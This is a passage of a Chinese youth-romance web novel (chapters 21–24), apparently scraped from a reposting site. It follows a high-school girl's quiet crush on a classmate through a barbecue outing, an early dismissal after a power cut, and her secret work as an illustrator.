很多年后,裴知悯才知道那个男人是谁。魔·蝎·小·说·MOXIEXS &M.o.X.i.exs& 20-30 第21章 第21章刻意的相遇,没有意义。 后来的一个月,裴知悯照旧是补习班家里两点一线,生活平静如水。 八月末的一天,苏英和裴振在单位加班,裴知悯一下午都在画稿子,勾完线稿,天早就黑了,她站起来,伸了个懒腰,肚子忽地叫了两声。 从中午到现在,她就只吃了个面包,现在胃里空空荡荡的。 裴知悯套了件薄的针织外套,穿上鞋出门觅食,这边吃的不少,她随便挑了家饭馆,进去垫了垫肚子。 吃饱后,裴知悯买了一罐旺仔牛奶喝,在街上闲逛消食,自从上了补习班,这样的清闲时光是少之又少。 夏天的夜晚总是热闹的,灯红酒绿,行人如织,卖小吃的商贩吆喝着,声调热情豪爽。 这晚的风不凉不热,刚刚好的温度吹得人很舒服,裴知悯慢悠悠地走着,经过转角,是一家烧烤店,店里生意很好,桌子都摆到门口了,她就望过去一眼,就和一个人的目光凌空聚上。 两人都有点惊讶。 裴知悯看着喻臣走近,讶然道:“喻臣哥,你怎么在这儿?” “在附近玩,”喻臣简言说,随后又问,“你呢?” 裴知悯举了下手里的旺仔牛奶,笑说:“散步。” 喻臣笑了下。 “吃饭没?没吃就一起吧,”他冲着烧烤店店牌门扬了扬下巴,“我们吃烧烤呢。” 裴知悯疑惑:“你们?” “对啊,”喻臣指了指店里,“还有祁砚寒和我一个同学。” 裴知悯望着那个高高瘦瘦的身影,迟疑了片刻。 鼓胀的肚皮提醒她此时不应该在此停留,可心头的冲动却与它背道而驰。 “来吧,”喻臣热情邀请道,“遇见即是缘。” 裴知悯轻呼了一口气,同意说:“行。” 烧烤店里,祁砚寒和秦京宁正在挑串,喻臣带着裴知悯过去,又介绍她和秦京宁认识。 裴知悯认得这个女生,之前她单方面见过她两次。 秦京宁略微打量了下这个女孩子,淡黄色的长裙配一双小白鞋,黑发用抓夹盘在了头上,耳边落下两缕,安静乖巧。 她笑得友善,问她想吃什么。 喻臣紧跟着递来个盘子。 裴知悯胃里没剩多少空间,就象征性地拿了两三串素菜。 点好后,几个人去了门外的桌子坐,有服务员过来问他们要喝什么酒水。 “两瓶啤酒,”喻臣回完,看向两个女生,“你们喝什么?” 裴知悯摆摆手示意不用。 秦京宁:“要一瓶奶啤。” “好的,请稍等。” 服务生接完就打算离开,祁砚寒出声拦住他的脚步:“给她换成豆奶。” 秦京宁看着他,抬眉道:“奶啤也不行?” “不行,”祁砚寒回得迅速,态度是听得出的强硬。 秦京宁酒量一般,三杯倒不至于,但八杯九杯倒差不多,高一他就见识过了,现在不能再冒险让她喝。 祁砚寒绷紧唇,眼神紧盯着她:“你忘了你之前……” 他就说了这几个字,秦京宁就制止道:“好好好,换。” 服务生应下来。 祁砚寒哼笑了声,淡声道:“总算有点良心。” 秦京宁手肘抵在桌子上挡着额头,也挡住了他锐利的眼神。 天知道那是一段怎么样的黑历史,那天他们几个老同学出去玩,秦京宁当时并不知道自己酒量差,喝完几杯酒,脑袋晕乎乎的,路都不认识,后来祁砚寒送她回家,秦父秦母以为是他带着她去喝酒的,秦京宁还说胡话火上浇油,让事态更严峻了,连累他挨了好大一通骂。 那晚祁砚寒是真的体会到了什么叫“哑巴吃黄连——有苦说不出”。 隔天秦京宁酒醒了,和他们说明真相,秦父秦母再三叮嘱他道以后他们出去玩,绝对不能再让她喝酒了。 祁砚寒因此才会出言干涉。 可裴知悯听着他们打哑谜似的熟稔对话,有点后悔刚才的决定了。 有些人,不是你刻意去制造相遇就能有意义的。 她低下眼,无力地绞着手指,想极力降低自己的存在感。 街边那里,红灯转成了绿色,最前方的车辆却一动不动,后车轻鸣了一声汽笛,老板的喊号声随着这声一同飘过来。 他们点了不少,祁砚寒本来想让喻臣跟着自己一起拿的,可这人要去洗手间,临走前拜托道:“知悯,你去拿一下可以吗?” 裴知悯抬头,说“好”。 她和祁砚寒一同去了等餐点,烤炉冒着,的火气,老板正在装盘,裴知悯看着出炉前撒的火红的辣椒粉,忍不住皱了皱眉。 祁砚寒敏锐地捕捉到了她的小表情,觉得这女生还真有意思。 “你不能吃辣?”他问。 裴知悯说:“一般辣可以,太辣的就不行。” 裴振患有慢性胃炎,苏英做的菜都偏清淡,她对辣椒的接受度并不高。 祁砚寒抱臂靠着门柱,饶有兴致地追问:“那你怎么想来吃烧烤了?” 说完,他察觉这问有歧义,又解释道:“没有赶你的意思,只是问问。” 裴知悯望着他冷淡的眼,那一句“因为你啊”噎在喉咙里,一个字都说不出来。 “想尝一尝。”她昧着良心说。 祁砚寒嘴角微挑,不置可否。 恰巧这时老板把他们的三盘烤串端了过来,结束了这个话题。 裴知悯握住盘子边缘,刚要端,腕上扣来了一只洁净的手掌,干燥温厚的触感让她一怔。 祁砚寒抢先一步接过她面前装得满满当当的盘子,声音很低:“你拿轻的。” 裴知悯愣了下,心头像有小鹿跑过。 天上悬着一钩弯月,星子差不多有八。九来颗。 烧烤端上桌,喻臣也回来了,几个人在他的倡议下举杯相碰。 “来尝尝,这家店烤得可好了,”喻臣递给她一串藕。 裴知悯接过,试探性的咬上了沾满辣椒的藕片,她尝了,味道确实很好,但就是辣。 喻臣喝了一口酒,感慨道:“高三有晚自习了,下一次再这样吹着晚风撸串还不知道是什么时候呢!” “你逃课出来吃呗。”秦京宁给他出主意。 喻臣笑了声:“我可是三好学生,你别带坏我。” 秦京宁放了串,漂亮的眸子眯起:“咱们好歹也当了一年同学,你就这么评价我?” 喻臣握拳虚咳了一声,不再搭话。 秦京宁觉得跟他聊天真没劲,埋头吃起了烧烤,她大吃特吃了好几串,才发现身旁的女生停了手。 “你怎么不吃啊?”秦京宁问完,就要给她拿串。 裴知悯连连摆手道:“我饱了。” 秦京宁放了串:“哦哦。” 裴知悯喝着旺仔牛奶解辣,嗓子里那股灼热感迟迟不减,她竭力忍着,微红的脸却已然出卖了她。 祁砚寒默不作声地去向店里,回来时给了她瓶旺仔牛奶。 裴知悯惊喜地盯着手边多出的牛奶罐,那时她心里,有一刻震耳欲聋的心动。 她一抬眼,那人像是什么都没发生过似的,从容自在地喝酒。 裴知悯慢慢喝着牛奶,晚上的蚊虫很多,她穿外套就是为了防这个,但防住了手臂,忘了还有光溜溜的脖颈。 她皮肤嫩,蚊子专挑那块咬,裴知悯不受控制地抓了抓,力度是她没有意识到的大。 秦京宁坐在她旁边,第一个瞧见了她脖子上的红印,她皮肤白,一用力抓,留下的红痕就会明显。 “你别挠了,再挠等会儿就要破皮了。” 裴知悯不以为意地笑了一笑:“没事没事。” 秦京宁眉心蹙了 下,起身去了前台。 烧烤店里花露水是必备的,秦京宁借来一瓶,喷在了她红肿的地方。 冰冰凉凉的液体,抹在脖子上的确舒服很多,裴知悯低低道:“谢谢。” 秦京宁笑着道:“不用客气。” 有了花露水,再没蚊子近她的身了。 秦京宁手撑着下巴,随意和她聊:“你也是理科生吗?” 裴知悯:“嗯。” “那你理综好吗?” “还行。” “你觉得哪科最难啊?” 裴知悯思索片刻:“数理吧。” 秦京宁拿起豆奶,碰了碰她的牛奶罐,同意得不能再同意了。 “英雄所见略同。” 裴知悯温温一笑,认为这个女孩子挺大气。 后来秦京宁边吃边和她聊天,裴知悯几乎没怎么动手,就陪着她说话。 中途,祁砚寒离开位置去接电话,秦京宁压低声量,直言问她:“你们学校喜欢他的人多吗?” 裴知悯那时有一秒钟的停顿,她好像从这句话里听出了一点别的意思。 “不太清楚。”她说了个模棱两可的回答。 “好吧,”秦京宁轻叹一声,没有再问,只是自言自语,“但应该不少吧?” 裴知悯咬唇:“你要不……问问他?” “问他?”秦京宁摇了摇头。 那人满嘴跑火车,谁知道说的是不是真话。 上次就是这样。 “你都不知道,”秦京宁说,“他脾气大,又爱玩,抽烟喝酒,打牌泡吧样样不落,话说的也不好听,还总是爱摆着一张冷脸。” 秦京宁列出了祁砚寒一箩筐的缺点,却又反应过来,那她怎么就喜欢上了这么个人呢? 裴知悯看上去还挺赞同,未曾出言反驳。 “你也觉得我说的对?”秦京宁问。 裴知悯点头,轻声道:“嗯。” 秦京宁笑了。 那时裴知悯并不知道,她俩谈论的当事人就在她的身后,但秦京宁瞧见来了,立马掐了话头,祁砚寒随即落座,裴知悯看见他回来了,有一点慌张。 后来他们分别,裴知悯想起自己说的那个“嗯”,懊悔极了,她一个人走在安静的夜晚里,总在猜测他到底听没听见。 十点的街上比之前静了点,秦京宁问他:“刚才你是不是听见我们说你了?” 祁砚寒没避讳:“嗯。” 秦京宁交叠着手臂,摸了下鼻子,有点心虚:“我也没说假话,你本来就那样。” 祁砚寒表情淡淡的,似笑非笑。 深夜的风温凉清爽,风里有清幽的桂花香。 秦京宁撩了撩头发,忽地问:“你和那个女生关系好吗?” 祁砚寒稍加思考:“一般。” 秦京宁嫣然笑了起来,说:“我觉得她很有趣。” 祁砚寒垂眸看她。 秦京宁注视着他的眼睛,音调带笑:“敢这么说你的女生,除了我,她是第二个。” 确实。 第22章 第22章私奔的夜晚 回到小区,祁砚寒刚和秦京宁分别,闻瑾的车就从后边驶来,停在了他身侧。 “捎你一段?”闻瑾降下车窗,笑着一问。 祁砚寒失笑,朝前方抬了抬下巴:“妈,就这么两步路,我自个儿回去就成。” “行,”闻瑾没强求,发动车子走了。 停好车,她拖着行李箱出来,一抬眼,瞧见家门口的人影,不由问:“怎么不进去?” “等你一起,”祁砚寒接过她手边的箱子,两三步就走上台阶开了门。 闻瑾望着他顶天立地的背影,愣了下,这小子。 客厅里的灯全亮了,祁砚寒把她的箱子放上了二楼卧室又下来。 闻瑾手撑在沙发扶手上,疲倦地揉了揉眉心,连轴转了半个月,今天又坐了四个多小时的飞机回来,此刻脑袋昏昏涨涨的。 祁砚寒给她倒了杯水,递过去。 “这段时间我都在出差,”闻瑾喝了两口,环看了眼家里布局,关心道,“你一个人在家没事吧?” 祁砚寒散漫地在她旁边一坐:“我能有什么事儿。” 闻瑾瞧他这样儿,猜也没多大的事。 “刚刚看你和京宁一起走来着,”她问,“你们出去玩了?” 祁砚寒点了点头。 “京宁现在也高三了吧?”闻瑾碰了下他的胳膊,“你还约着人去玩,人家不学习的啊?” 这可真是天大的冤枉啊。 下午喻臣打电话来喊他出去,他一出门就遇见了秦京宁,这人说带她一个,喻臣和她也认识,一问二话不说就说可以。 和他真没关系。 他们玩完,又绕着南城夜骑了一圈,去吃烧烤时,遇见了裴知悯,一个不能吃辣还要“舍命陪君子”的。 “想什么呢?”闻瑾打了下他的胳膊,“你听到我说了的吗?” 祁砚寒回神:“听到了。” 结束这个话题,闻瑾握着杯子喝了一口水,不经意地问起:“你爸这些天没回来?” 祁砚寒眸光微闪,低声道:“很少。” 祁宏的酒局本来就不少,这些时日好像更甚了,偶尔夜里回来一趟,待到天亮又走了,他们打照面的次数一只手都数得过来。 “嗯,”闻瑾应完,一时间就不知道该说些什么了。 祁砚寒抬头看了眼墙上的钟,“妈,你累了这么多天了,早点休息。” 说完这句,他就往楼上走。 “阿砚,”闻瑾出声喊。 祁砚寒在楼梯底下停住脚,“怎么了?” 闻瑾装作无事发生的样子,微笑着替那人掩饰:“你爸这几个月有点忙,顾不上家里,你别多想。” 楼梯没开灯,祁砚寒的面色隐匿在暗处,叫人看不清,他淡淡地回了句“知道了”就上楼了。 房间一片灰暗,只有一星月光从窗台漏了进来,祁砚寒借着月色走到床边坐下,点燃根烟抽了起来,他抽得很慢,猩红的烟在指尖燃了很久都没燃尽,抽完,他长呼了一口气,倒在床上,盯着黑漆漆的天花板,目光沉沉。 后面望着望着就恍惚入了眠,外面好像下起了小雨,祁砚寒听不真切,风把窗帘吹起,飘进房间里来,梦里的人紧皱着眉,翻了个身睡了会儿,又翻了回来。 那个夜晚,有人一室冷清睡不安稳,有人心事重重无人诉说。 裴知悯回想起秦京宁的那个问,在书桌前发了很久的呆,她好像有一点明白,又不明白。 家里隐约冒出了点动静,裴知悯打开门去看,苏英在厨房煮面。 她走过去问:“妈,你才回来吗?” “嗯,今天单位来了个急事,我们就忙晚了点,”苏英往锅里丢了一点面,“你还没睡啊?” “还没,”裴知悯环顾一圈,“我爸呢?” “他在外边和同事吃饭,”苏英拿着筷子搅了下锅里,问她,“你要吃吗?吃的话我多煮点。” “不用,”裴知悯摇头,“我刚在外面吃过。” 苏英嗅到了她身上残留的辣椒气味,猜测道:“烧烤?” “嗯。” 她眉头拧起:“这种不健康的东西还是要少吃,万一吃坏肚子了,又伤害身体还耽误学习。” 裴知悯抿唇,听话地应下来。 灶火静静燃着,等水开面条浮起就好了,苏英随意问起:“你今天做什么了?” “就……”裴知悯保持镇定地说,“背单词,背古诗文,做卷子改错。” “还挺充实。”苏英笑着评价了一句。 裴知悯不敢开口搭话。 一碗面条没五分钟就做好了,苏英端上餐桌,裴知悯坐在她对面,时不时和她说两句话。 窗外起 了风,吹过树梢有微弱的沙沙声,白炽灯照亮这一隅空间,苏英低着头吃面,头上茂密的黑发里,有了几缕白丝的存在,裴知悯看着她微躬的脊背,恍然间发现,她的母亲,在不知不觉中就老了两分。 “妈,我去洗吧,”她吃完,裴知悯起身想要去拿碗。 被苏英拦了。 “不用,就这么点碗筷,我两下就洗完了。” 苏英拿上碗进了厨房,裴知悯帮着她擦桌子,淅淅沥沥的雨缓而轻地落了下来,在寂静的夜里,响得清晰。 苏英快速洗完,解了围裙,拿上伞道了句“我去接你爸”就出门了,裴知悯回到房间,电脑还没关,她把图片保存了然后关机,又拿出高考必背古诗词背着。 这晚的风声不大不小,拍打着窗户,带来草木的腥香气息。 手机上忽然有Q.Q消息弹出来,是一家报社的编辑发来的,想请她帮忙画一张稿子,原先选定的稿件因为别的原因,不能商用,但临时又找不到合适的,就想问问她愿不愿意接这个活。 裴知悯当年被第一张商稿就是她审核采用的,说起来她对自己算有知遇之恩,她问了下时间,编辑老师说最长一个月。 那应该来得及。 裴知悯咬一咬牙,答应了下来。 那场雨没有多大,却下到了第二天早上才停。 后面裴知悯再去补习班上了几天课,就开学了,那几天大家还没完全收心,二节晚自习前,“回”字形的走廊上站满了吹风聊天的人,两边的人对望,偶尔还可以听到有人嚎的一嗓子,班上的男生也闹腾极了,嘻嘻哈哈吵吵嚷嚷的。 裴知悯在做五年高考三年模拟,时恬没打扰她,和林泽民聊着天。 “班长,你想考哪一所大学啊?” “我随遇而安,”林泽民腼腆地笑了下,“考多少分主要看发挥。” 那些年,成绩好的学生好像总是谦虚,一问这种话题就说要看成绩,他那种成绩,考C9都不成大问题。 “目标总有一个吧?” “有啊,”但林泽民不说,反问她,“你先说你的。” 时恬拍了拍他桌子上的那一摞书,志存高远:“我的目标是清华北大。” 李淮川加入话题:“真的?” “这还有假?”时恬眨了眨眼,又撇嘴笑道,“只是想,但百分之九十九都考不上。” 林泽民温温笑了下,没有打击她,只是说:“祝你成功。” 上课铃声猛地响了起来,走廊上的人纷纷“回笼”,这节课是班主任的,他人还没来,班里男生七嘴八舌说个不停。 年级主任从后门进来,手里端着杯红枣枸杞水,腋下夹着化学课本,边走眼睛边左右扫着,那锋利的眼神,杀人于无形。 “没听见上课铃声吗?吵什么吵?整个年级就你们班最吵。” 班里一瞬间就像消音了似的。 要不是看你们七班成绩好,我高低得拉出来在年级做个反面例子。 训完了,年级主任从前门出去,好巧不巧地和班主任撞上了,他们在门口说了好几分钟,年级主任看样子气得不轻,口水都喷了到他的茶杯里,后边有男生偷摸在笑。 好不容易送走这位老大哥,老班走进教室,把手上的试卷甩在讲台上就开始给他们做思想工作,说的无非就是什么“少壮不努力,老大徒伤悲”的言辞,底下的人听得耳朵都起茧子了,态度都挺敷衍。 讲了十来分钟,班主任口干舌燥。 “算了,我也不讲了,”这个中年男人直摇头,看向窗外的夜色,“还是多做点题吧,前途都在你们的笔杆子里了。” 众人噤若寒蝉,装模作样地看书做题,班主任在教室转了两圈就离开了,大家都猜他大概率是去喝水了。 他走后没五分钟,明亮的教室“刷”地一下,暗了下来,众人茫然四顾,这是……停电了?! 外头响起了震天撼地的欢呼,吼声都可以掀翻天花板了。 七班吵闹得不行,有些心急的直接收拾好了书包,坐等放学,其余的人打游戏的打游戏,借黑睡觉的睡觉,只有裴知悯,打开手机上的手电筒,接着做题。 时恬看她奋笔疾书,瞠目结舌道:“不是吧?现在你还在算题呢?” 裴知悯笔没停,抽出一点神回她:“马上就解出来了。” 时恬脸上那叫一个大写的佩服。 没两分钟,班主任就来了,举着一个特亮的手电筒,维持秩序,“都保持安静,等待学校通知。” 那时大家巴不得不来电,早点放学走,一个二个在座位上,如坐针毡地等待着。 过了十分钟左右,年级就发出了通知说今天提前放学,裴知悯和喻书走在黑得伸手不见五指的校园里,长长的一条路,放眼望去,全是手机灯光,像是流动的银河。 “百年难得一遇的好事,被咱们撞上了,”喻书笑得可欢,“明天年级主任肯定要带人把全校的电路系统给检查个底朝天。” 裴知悯浅笑了一声,年级主任真干得出来。 她们走到一半,路灯忽而亮了起来,电线杆上的广播有微弱的电流声露出,“滋滋”了两三秒后,年级主任中气十足的声音冒出来:“请高三的同学注意!供电现已恢复,请所有同学立即回到……” 话到这里,突然有“唔”的一声,广播随即戛然而止了,众人愣了须臾,当没听到那两句似的,立马朝校门飞奔。 那时年级主任正忙着揪是哪两个小兔崽子坏他的事,没功夫去管他们。 树枝上栖息的鸟儿被惊起,扑棱着翅膀飞远了,裴知悯也加入到了这场“逃亡”中,那会儿声响嘈杂得不行,她没听到喻书蹲下之前跟她说的“你等我一下,我系个鞋带”,拉着身边的人就跑。 祁砚寒一时还没反应过来,他眼前只有少女白净的脖颈,飞扬的发梢和衣摆,周围的风声和激情澎湃的欢笑,清晰又模糊。 在这个慌乱的夜晚,他们手牵着手一往无前,像是在私奔。 跑到校门口,裴知悯终于体力不支,松开了“喻书”的手。 祁砚寒注视着她被汗湿的发丝还有微红的脸,懒洋洋地笑起来:“不跑了?” 裴知悯喘着气摆了摆手。 下一秒,她感觉不对,转过身来看,看见是他,话都没说利索:“你……怎么……在?” “忘了?”祁砚寒噙着轻浮的笑,朝学校扬了扬眉,“你拉着我跑了一路。” 裴知悯这时的表情才真是精彩,又羞又悔。 “我……”她咬着嘴唇,“我认错人了……” 祁砚寒轻笑了声,想起上次的“追求”,故意问她:“刺激吗?” 裴知悯唇抿得紧紧的,不知作何回答,身畔有三五成群的学生经过,放肆地甩着校服舞过头顶,张扬肆意。 “我们明天会被骂吧?”她慢半拍地问。 祁砚寒笑得胸腔微抖,话说得漫不经意:“跑都跑了,怕什么?” 好像也是。 “放心吧,”祁砚寒无所谓地笑笑,“法不责众。” 这一跑,早不见喻书人了,公交站下,站了很多学生,一辆辆车过来,带走一波波的人,裴知悯静静等待着,祁砚寒和身旁的男生认识,两人聊了一会儿,后来那男生走了,这里只剩她和他还有另外两三个人。 前方驶来306,祁砚寒走了上去,裴知悯目光跟随着他移动,学校到她家有直达的公交,但不是306,坐306需要中转,裴知悯深吸一口气,在车门即将关上的前一秒上了车。 祁砚寒身旁的座是空着的,那个位置,对裴知悯有着致命的吸引力,她跃跃欲试又瞻前顾后,往那儿试探性地迈了两步,猝不及防地和他对视了一秒,上车时所用的勇气一下被抽了个干净,她只敢坐在离他有一条过道的并身座位上。 公交站时走时停,他们隔着半米的距离,各自看着南城的夜色,裴知悯余光悄悄去看他,男生肩颈笔挺,望着窗外的神情平静淡漠,似乎察觉到什么,他扭头回来,她立马摆正 目光当作无事发生,还戴上了耳机欲盖弥彰。 裴知悯点开手机,放了首歌来听,随后又把车窗打开,带了一丝热气的风扫进来,吹干了她湿润的碎发。 此时天还没黑尽,月亮和星星都藏在云层里,街灯亮了一排,边上散步的行人晃晃悠悠,等车的人翘首以盼。 到了这站,下车的人很多,有个小孩子不小心撞到了裴知悯的肩膀,一只耳机滑落出去,到了他的脚边。 祁砚寒捡起,耳机里有温柔低缓的女声—— “阴天,傍晚,车窗外, 未来有一个人在等待, 向左向右向前看, 爱要拐几个弯才来。” 他把耳机递来时,随意问了一句:“孙燕姿的《遇见》?” 裴知悯点头。 “挺好听的。” “你听过?” 前些年大街上随处都在放,怎么会没听过。 他声音很淡地“嗯”了下。 “那……你想听吗?”裴知悯鬼神神差地问了句。 祁砚寒淡声道:“不用。” 裴知悯接过耳机,后来那首歌还没听完,就到了她的终点站,裴知悯下了车,在风中等了很久才等到回家的那班。 隔天,喻书下来找她“算账”,问她为什么抛弃她自己走了,裴知悯避重就轻地解释了下,两人就说起了年级主任的事,昨晚有人捂住了他的嘴,还抢走了他的话筒,才让年级主任的命令中道崩殂。 这事儿一共有三个男生“作案”,一个主谋两个帮凶,最要命的是,这三个人全是七班的。 喻书来找她求证,裴知悯说是真的。 “妈耶!”喻书由衷感叹,“干了我一辈子都不敢干的事。” 裴知悯也是满心感慨,这真的算是她青春里最难忘的事之一了。 后来那几个人轮番被请去了年级主任办公室和班主任办公室“喝茶”,然后一人写了一篇五千字的检讨张贴出来,以作警示。 自此,南礼中学2016届7班一战成名。 在老师口中臭名昭著,在学生嘴里美名远扬。 第23章 第23章沉溺的时光 高三的生活更加忙碌,白天晚上都有课课,裴知悯只能在晚自习后画稿,而这个点,苏英一般都在家,她“灯下黑”时,总是胆战心惊的。 有次裴知悯正在画,苏英突然敲门进来了,手里端着一盘水果,那时她手忙脚乱地关了画板,同时拿出辅导资料和稿纸装样子,完了还故作镇定地边打哈欠边问:“妈,你还没睡啊?” “等会就睡了,”苏英把果盘放在她的书桌上,随意一瞥,“还做作业呢?” 裴知悯平平一笑:“还有一点就做完了。” “诶,”苏英注意到亮着屏的电脑,“你电脑怎么开着的?” 裴知悯心一紧,脑袋飞速地转在想用什么理由,裴振这时走进来了,悄悄给她递了个放心的眼神。 “哎呀,你就别耽误姑娘学习了,”他揽着苏英的肩膀吵客厅走,“家里的微波炉好像坏了,你来看看。” 苏英被半推着出了她房间,关门前还不放心地叮嘱:“记得把水果吃了,作业没做完就明天再做,别熬夜。” “好的,”裴知悯乖巧地应下。 门关上后,她终于松了一口气,外头,微波炉根本没坏,是因为没插电才用不了,裴振打着哈哈说是他忘了,苏英总觉得哪里怪怪的,但一时又说不上来。 那张画稿,裴知悯到约定时间的倒数第三天才交,她发过去的时候还挺不好意思,编辑说没关系,她愿意帮忙又按时完成任务就已很好了,而且还画得这么好。 裴知悯满足地笑了,这么久的心血,能得到认可甚至录用,就是最大的幸福了。 了却这一桩事,夏天也就过完了,风里的桂花香气逐渐淡去,萧瑟的气息参杂进来。 年级主任,班里安分了不少,大家都在老老实实地做题学习。 高三的第一次期中考在十一月月底,那会儿气温已完全降下来了, 这次是南礼中学自主命题,学校像是要给他们一个下马威似的,题出得很难很偏,收了答题卡,裴知悯就知道完了。 考完试,她情绪一直不太高,去食堂吃饭时,喻书一直开解她说“学如逆水行舟,不进则退”,裴知悯小口嚼着饭,没有一点味道。 身侧有一道高瘦的人影走过,路泽珩看到他,招手喊“这里”,祁砚寒没什么扭捏的,径直坐在了他旁边,何语苒在他的对面,几个人边吃说笑。 那个女生的眼里,好像真的少了一点爱慕和小心,多了两分平和淡定。 裴知悯想起有一天晚自习,她去问物理老师题,解答完回来路过楼梯口,耳边传来一道微弱的啜泣女音。 “你真的不喜欢我?” 那时大家都在上自习,走廊上都没有人,这一句落地很真切,裴知悯没想偷听,抬腿准备走。 “嗯。” 那声音,闲散至极,格外熟悉。 裴知悯一下顿住了脚,忍不住看过去,这一层与楼上的楼梯连接处,那个背影,如此眼熟。 “为什么?”何语苒抖着声音,想问个明白。 他偏头低笑了声,表情没什么情绪起伏。 也就是这一瞬间,裴知悯看清了暗处的女生是谁。 “没有那么多为什么。” 何语苒噎了有半晌,擦干眼尾看他,再开口时是一片平缓:“那我们还是朋友吧?” 祁砚寒沉吟片刻:“嗯。” 现在看来,他们真的像朋友一样,在一块谈天说地,相处得大方坦然。 较之于她,裴知悯是自愧不如的,那种能勇敢地说出喜欢,又能勇敢地收回喜欢的精神,她始终学不会。 裴知悯不动声色地敛下眼眸,吃完饭,她回教室对答案改错题,清一色的红叉看得人心都凉了,她心烦得厉害,手托着腮放空脑袋。 当天晚上,各科的答题卡就扫描完了,老班是年级的数学组长,七班自然而然地承包了分发数学答题卡的任务,班上一般是一组人一齐行动,那次正好轮到了他们组,理好答题卡,大家要分送到各班,裴知悯私心作甚,主动说去送一到九班的。 出了机房,她往教学楼走,一楼的转角处连接着外边花坛,昏暗的空间里,亮着一星火光,那抹清瘦的人影靠着墙一手插兜,一手将烟送至唇边,凸起的喉结上下一滚,一团青白的烟雾呼出。 裴知悯心一颤,观察了下四周,所幸这条过道上没人。 他抽了这一口,停了好半会儿,那只垂在腿侧夹着烟的手,修长瘦削,即使在偏暗的光影里,都好看得不行。 连廊拐角处走出两个女生,手挽着手朝这边过来,裴知悯木在原地,不知该不该提醒他。 女生愈来愈近,她的整颗心都悬了起来,正想开口时,她们走上了这一侧的楼梯,她登时松懈下来。 祁砚寒抽了两口解烦,就掐灭了烟蒂,转身看见她,怔了一下。 “我不会说的。”裴知悯脱口而出就是这句。 祁砚寒无声一笑,从黑暗里慢慢走出来,面前的女孩子往后退了一步,紧抱怀里的卷子,嘴巴抿得很紧,一双眼睛瞪得溜圆,里面的紧张和慌乱显而易见,当然,真诚也有。 她这表情,怎么说呢?像是电影里撞破坏人干坏事要被“杀人灭口”一样。 祁砚寒低低笑起来:“你说了我也不怕。” 裴知悯咬了下唇,提醒道:“你下次换个地方吧。” 他垂眼看她。 “顶楼天台这个点基本没人,你可以去那儿,”裴知悯小声说,“被发现的概率小点。” 祁砚寒顶了下腮帮,笑得意蕴不明。 裴知悯拘谨地站在原地,外边起风了,呼呼地刮进来,初冬的冷风穿过走廊,只听他道:“走吧。” 楼梯间安静无声,他们并排走着,冷冽的空气里,浮着一层淡淡的烟草气味,在这样独属于他们的时光里,裴知悯有几秒钟的沉溺。 祁砚寒瞥见她拿着的那叠答题卡,一眼认出来了自己的。 “这张是我的。” “是吗?”裴知悯佯装才看见的表情,说,“老师让我们给各班送过去。” 事实却是 她专门找出了他的答题卡放在六班的最上面,男生的字写得潇洒飘逸,大题他全都做了,裴知悯还瞧了眼最后那题,数字和答案一样。 “我做对了吗?”祁砚寒故意逗她。 “哪一道?” 他随意指了一道大题:“这个。” 裴知悯看了眼说:“对了。” “你会?”他问。 “不会。” 他轻轻一笑:“那你怎么确定我的就是对的?” 裴知悯实话实说:“我刚刚对了答案。” 祁砚寒面露了然神情,又问:“考得好吗?” “一般,”她音调又小又闷。 “日子还长,”祁砚寒难得说了句好听的话,“加油吧。” 裴知悯低下眼,弯起嘴角轻轻“嗯”了下。 六班的那摞答题卡最后被他带了回去,她的处心积虑也算没有白费。 几天后成绩出来,给了他们当头一棒,大家都见识到了厉害,再不在跳着脚玩,老老实实地学习着,课余的打闹越来越少,桌上的书越堆越高。 高三上的期末考是九省联考,大家都在争分夺秒的复习,空气里都是“卷”的味道。 裴知悯画的那张稿子本来计划十月面世,中途因为印刷厂的缘故,挨到了十二月才刊登上市。 复习周的某天上午,喻书拿着一本杂志下楼,在七班外面望,那会儿裴知悯去厕所了,她没找到她人,却和喻臣先碰见了。 “少看点这种无聊的书,”喻臣瞥了眼那花哨的封面,“脑子就是这么看坏的。” 喻书忿忿地瞪他:“你懂什么?” 喻臣跟她抬杠:“你懂?” “比你懂,”喻书给了他个白眼,她扬了扬手里的杂志,“这里面我有人脉。” 喻臣蹙了蹙眉头,看了眼书,又看了眼她,手插在兜里走了。 气得喻书在她背后打了一套军体拳,不多时,裴知悯回来了。 “找我有事?”她问。 “裴大画师,可以啊,”喻书拿出杂志,“画的稿都到我们学校了。” 裴知悯谦虚地笑了笑,这段时间忙,她的样刊没去拿。 “你买的吗?” 喻书摇摇头:“我同桌的。” 说完,她指了指外面的天,特诚恳地问她:“你能看见星星吗?” 裴知悯无奈:“现在还是白天。” 喻书手张开搭在额头上方,遥望天际,“那我怎么恍然间看见了明星呢。” 裴知悯想她肯定是用眼过度,出现了幻觉。 “阿书,”她郑重地拍了拍肩,“你该补补觉了。” “有啊,”喻书的那只手画了个半圆,搂上她的肩,“一颗插画届冉冉升起的新星。” 裴知悯看着远处淡蓝色的天,温温笑了。 喻臣回到六班时,祁砚寒正在教室后面的柜子里找书,路过他的座位,上面摆着的那本杂志和喻书刚才拿的一模一样。 喻臣轻嗤:“你什么时候也看这种了?” 祁砚寒不明所以,看过去一眼。 “哪儿来的?” 喻臣挑眉:“这放在你桌上的,你问我?” 祁砚寒拧了下眉梢:“我怎么知道,可能是别人放错了。” “也不知道这种有什么好看的,”喻臣跟他说,“喻书还说这有她的人脉,难不成还是她写的了?” 祁砚寒嘴角扯出一丝笑:“你不去问她?” “问肯定也是白问。”喻臣关了书, 喻臣没多待就回了位置,那本杂志还在祁砚寒那儿,他随意翻了两页瞟了眼,都是些青春故事,他没兴趣,关上书丢回了原位,等着那个放错了的人来拿。 凛冽的冬风从窗子溜进来,吹翻了两张纸,翻开的那一页,右下角有一栏小字,关于画者介绍的,上面写着—— 原创插画师:远山。 第24章 第24章命中冥冥注定的缘 九省联考在一月中旬落下了帷幕,阴雨绵绵的天气,仍然泼不灭大家的好兴致,全都跟笼子里放飞的鸟儿一样,散得很快。 出了校门,裴知悯去邮局拿上次画稿的样刊,她专门看了,今天的工作日,回去时爸妈应该还没下班,正好避开。 那时裴知悯想得多美啊。 但她不知道,当天中午苏英就因为身体不舒服请了半天假休息,裴振也因此回了家照顾她。 正巧不巧,她们就这样碰上了。 苏英看到了她手里的杂志,脸色立刻变了,那会儿裴知悯心头直跳,直觉天要塌。 裴知悯从不看青春杂志,家里的这类书,都是出于画者的身份,杂志社给她寄来的。 “新画了稿子?”苏英阴沉着脸问。 裴知悯嘴唇绷成了一条直线,不敢吱声。 “什么时候画的?” 她垂着眼睫不说话。 “我问你话!”苏英火气冒上来,声调都拔高了。 